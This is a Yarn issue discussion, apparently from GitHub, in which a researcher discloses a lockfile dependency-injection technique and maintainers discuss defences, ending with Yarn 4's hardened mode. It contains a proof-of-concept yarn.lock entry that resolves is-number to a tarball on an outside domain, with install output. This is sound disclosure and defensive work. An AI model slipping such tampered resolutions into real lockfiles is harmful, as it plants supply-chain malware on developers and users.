[Security] Lockfile dependency injection

[hexnickk]

Hey 👋

This is a follow-up to these articles:

• Why npm lockfiles can be a security blindspot for injecting malicious modules.
• Injecting backdoors to NPM packages.

Current behavior

In short words, it's possible to manually update lockfile, so it will install a different package than listed in package.json. It works both for yarn v1 and yarn v2, but I will add example only for yarn 2.

package.json

{
  "name": "yarn2",
  "packageManager": "yarn@3.1.1",
  "dependencies": {
    "is-number": "^7.0.0"
  }
}

yarn.lock

# This file is generated by running "yarn install" inside your project.
# Manual changes might be lost - proceed with caution!

__metadata:
  version: 5
  cacheKey: 8

"is-number@npm:^7.0.0":
  version: 7.0.0
  resolution: "is-number@https://kozlovzxc.ru/static/is-number-7.0.0.tgz"
  checksum: 9383a7b41b63cc84e14ef6b157d71fccf12a57bb87231004b3dd99086e4531fba371461279cad9cfeef97e617eecc166e71ba0b6103b97cfcba59d04a44ad618
  languageName: node
  linkType: hard

"yarn2@workspace:.":
  version: 0.0.0-use.local
  resolution: "yarn2@workspace:."
  dependencies:
    is-number: ^7.0.0
  languageName: unknown
  linkType: soft

index.js

const isNumber = require("is-number");

console.log(isNumber(1));

console output

➜  yarn2 git:(master) ✗ rm -rf node_modules .yarn/cache .yarn/install-state.gz

➜  yarn2 git:(master) ✗ la
total 56
-rw-r--r--  1 kozlovzxc  staff   134B Feb 19 19:56 .editorconfig
-rw-r--r--  1 kozlovzxc  staff   242B Feb 19 19:56 .gitignore
drwxr-xr-x  3 kozlovzxc  staff    96B Feb 20 12:56 .yarn
-rw-r--r--  1 kozlovzxc  staff    66B Feb 19 19:58 .yarnrc.yml
-rw-r--r--  1 kozlovzxc  staff     8B Feb 19 19:56 README.md
-rw-r--r--  1 kozlovzxc  staff    66B Feb 16 15:41 index.js
-rw-r--r--  1 kozlovzxc  staff   107B Feb 19 20:03 package.json
-rw-r--r--  1 kozlovzxc  staff   624B Feb 19 20:03 yarn.lock

➜  yarn2 git:(master) ✗ yarn
➤ YN0000: ┌ Resolution step
➤ YN0000: └ Completed
➤ YN0000: ┌ Fetch step
➤ YN0013: │ is-number@https://kozlovzxc.ru/static/is-number-7.0.0.tgz can't be found in the cache and will be fetched from the remote server
➤ YN0000: └ Completed
➤ YN0000: ┌ Link step
➤ YN0000: └ Completed
➤ YN0000: Done in 0s 231ms

➜  yarn2 git:(master) ✗ node index.js
Hello world 🌎. (malicious package output)
true (expected output)

The issue is that for open source packages, PR updating lockfile may look like this:

So probably no one will ever look into this.

Expected behavior

Not sure about this one, so I'm opening this as a discussion, probably the best case would be to check lockfile integrity on each install, but I guess it may require extra resources' consumption. So maybe it will be nice to have some build in command to verify lockfile integrity and configuration options to white-list allowed domains/packages.

---

Related pnpm issue pnpm/pnpm#4361
Related npm issue npm/cli#4447

cc @ai

[arcanis]

That's an issue with how GitHub displays lockfiles. They actually have a better interface, but it's hidden by default:

https://twitter.com/arcanis/status/1179481387818201089

And given that this component isn't open-source, we can't improve it on our side.

[arcanis]

Also note that in Yarn's case GitHub reports "Large diffs are not rendered by default", because smaller changes are shown if possible. That's because we explicitly asked for them to be reviewable:

• Reconsidering auto-detecting Yarn files as auto-generated github-linguist/linguist#4348

[hexnickk]

Oh, I have never seen this interface before! Thanks! But need to check it further, e.g. does it show whole dependency three? What if we have two different versions of one package which are downloaded from different places (it's possible, right?).

In any way, it is still up to user to verify up to hundreds of dependencies, why do we need to rely on manual work when we can automate it and make yarn more secure by default?

e.g. there is lockfile-lint package, but I guess only a few users actually know about it.

[arcanis]

why do we need to rely on manual work when we can automate it and make yarn more secure by default?

You need to be more explicit and list exact ways you think it'd be better, otherwise it's difficult to answer. But because there are reasons why things work the way they are, I think you also need to think strongly about why those ideas wouldn't work. For example:

probably the best case would be to check lockfile integrity on each install, but I guess it may require extra resources' consumption

What does it mean to check integrity? Against what would you check this integrity? How can Yarn know that the lockfile it is given has been tampered? What if users legitimately want to reference packages from their own networks? What if a malicious package is hosted on the same domain has legitimate ones (ie the npm registry)?

[arcanis]

Thinking about this, perhaps a way we could improve this would be by integrating w/ GitHub Actions (and a few other vendors). If Yarn detects that the current environment is a PR (ie unsafe environment), it could check the diff in domain names between the base branch lockfile and the new one, and abort if it sees a mismatch.

However this 1/ would require a way for administrators to bypass this, and 2/ wouldn't help against malicious packages on the same registry. Regardless how clever we are, lockfiles will have to be reviewed by someone.

[hexnickk]

wouldn't help against malicious packages on the same registry

Can't we also check the name of the package? e.g. if it is is-number in package.json, but is-nomber in lockfile, wouldn't it be suspicious? Even if it's in the same registry

[arcanis]

It's not only a matter of the package.json but also its transitive dependencies. Yarn stores these dependencies inside the lockfile, so a malicious actor would simply add a fake subdependency and Yarn wouldn't be any wiser.

[hexnickk]

I'm a bit constrained with expressing ways how it should work just because I'm not super familiar with how any why yarn works, so I would heavily rely on expertise of folks like you on the possible ways to solve this 🙏

What does it mean to check integrity?

My initial thoughts were that if lock file is generated out of package.json file, so it should be possible to verify if lock file is correct, just by having package.json nearby. e.g. if we have package is-number which is listed in package.json as is-number, probably, in most of the cases, it is something unexpected if in lockfile you will see resolution: "is-number@https://kozlovzxc.ru/static/is-number-7.0.0.tgz", because if it was intended, it should have been specified in package.json file itself, isn't it?

What if users legitimately want to reference packages from their own networks?

This case is a bit tricky, since it's a bit hard to come up with an actual case to modify lockfile instead of package.json, but probably we can come up with some sort of whitelist for altered packages like this. Do you have any cases in mind?

[hexnickk]

Oh, sorry, my bad, it's my first post in Discussions 🙏 Will keep it in one thread moving on!

Btw looks like folks from pnpm want to add an extra command for this, so if it will be useful for you, here is the pnpm thread pnpm/pnpm#4361 (comment)

[arcanis]

Generally I'd prefer any protection we have to be there by default, otherwise people will forget about it (same reason why --immutable is now the default on CI). But the user interface doesn't matter much, the question is more how to get good signals without having any false positive.

[hexnickk]

Yeah, totally agree, if it's a new command it won't be much different from having external package like lockfile lint, people will still to get to know it

[hexnickk]

Btw here is another possible alternative, npm has npm ci for automated environments

https://docs.npmjs.com/cli/v8/commands/npm-ci
https://stackoverflow.com/questions/58482655/what-is-the-closest-to-npm-ci-in-yarn

[hexnickk]

It's still another command, but it feels like it's easier to get to know it compared to pnpm verify-lockfile

[merceyz]

[...] and configuration options to white-list allowed domains [...]

This is actually supported already using networkSettings, the following configuration will block requests to all origins except registry.yarnpkg.com

networkSettings:
  "registry.yarnpkg.com":
    enableNetwork: true
  "*":
    enableNetwork: false

[hexnickk]

Wow, can it be default? It won't help with changed name, though (e.g. is-number → is-nomber in lockfile)

[arcanis]

Yarn 4.0 (rc) now automatically protects against lockfile attacks through a new enableHardenedMode setting which is automatically enabled for "untrusted" environments (such as GitHub PRs on public repositories). When enabled:

• Yarn won't allow a lockfile to contain package metadata that don't match the registry
• Yarn will require all resolutions in the lockfile to be valid potential resolutions for the original range

Put together, those rules will entirely prevent malicious actors from adding dependencies deep into the lockfile, hidden from review. The only downside is that they make installs from PRs slightly slower, since we need to re-fetch the package metadata.